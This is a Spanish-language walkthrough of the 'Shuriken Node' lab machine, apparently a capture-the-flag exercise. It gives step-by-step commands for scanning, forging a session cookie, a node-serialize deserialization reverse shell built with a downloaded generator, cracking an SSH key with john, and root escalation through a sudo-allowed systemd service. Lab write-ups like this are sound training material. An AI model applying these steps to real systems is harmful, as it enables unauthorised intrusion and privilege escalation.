Máquina: Shuriken Node
SO: Linux
Dificultad: Easy
Descarga


img

1. Escaneo de dispositivos en la red.

sudo arp-scan -l

img

2. Reviso los puertos abiertos y servicios disponibles en los puertos.

sudo nmap -p- --open -sCV -T5 --min-rate=5000 192.168.1.9 -Pn -n

img

3. Revisando la Web que corre por el 8080.

http://192.168.1.127:8080

img

4. haciendo fuzzing encuentro directorios, pero no nos permite visualizarlos.

gobuster dir -u http://192.168.1.9:8080/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,js -q

img img

5. Copio mi cookie de session para ver su valor.

img

6. Voy a Cyberchef para tratar la data.

img img

7. Reemplazo la cookie y actualizo la pagina, me convierto en administrador.

img

- Veo que lo unico que cambia es el usuario asi que mucho no se puede hacer.

8. Ingreso data al azar en la cookie y al recargarla veo que deserializa.

img

9. La forma de explotar lo tenemos a detalle en esta pagina opsecx.

9.1- Instalo el modulo necesario; la esta funcion nos devuelve una cadena serializada, esto lo guardo en un archivo

npm install node-serialize

node serialize.js

img

9.1- Descargo esta herramienta nodejsshell para generar una reverse shell codificado

wget https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py -q

9.2- Al ejecutar me da errores, tenemos que modificar un poco el codigo

python3 nodejsshell.py 192.168.1.9 443

- En todos los print le agregamos parentesis, ‘print (“ejemplo”)’

img

- Copiamos el payload generado

img

- Modificamos la cadena serializada para agregar nuestro payload y lo pasamos a base64

img img

10. Me pongo en escucha y pego el base64 en la cookie ; si recargamos la pagina obtendremos el acceso.

sudo nc -nlvp 443

img img

11. Tratamiento de la tty.

script /dev/null -c bash

ctrl+z

stty raw -echo;fg

reset xterm

export TERM=xterm SHELL=/bin/bash

img

12. Tenemos 3 usuarios disponibles en el sistema.

cat /etc/passwd | grep bash

img

13. Encontre un backup de ssh que contiene una clave privada encriptada.

cd /var/backups

ls -l

cp ssh-backup.zip /tmp

cd /tmp

unzip ssh-backup.zip

cat id_rsa

img img

14. Rompiendo la id_rsa encriptada.

14.1- Guardo en un fichero el contenido del id_rsa

nano key

img

14.1- Generamos el passphrase con john

ssh2john key> pass

john --wordlist=/usr/share/wordlists/rockyou.txt pass

img

15. Nos conectamos por ssh con el usuario serv-adm.

ssh -id id_rsa serv-adm@192.168.1.9

img

16. Puedo ejecutar el binario systemctl como root ,ademas puedo controlar unos servicios.

sudo -l

locate shuriken-auto.timer

cat /etc/systemd/system/shuriken-auto.timer

img

- Reviso este otro servicio, veo que ejecuta un binario

locate shuriken-job.service

cat /etc/systemd/sytem/shuriken-job.service

img

17. Escalada de privilegios.

nano

nano /etc/systemd/system/shuriken-job.service

sudo /bin/systemctl stop shuriken-auto.timer

sudo /bin/systemctl start shuriken-auto.timer

img

img


Finalizado.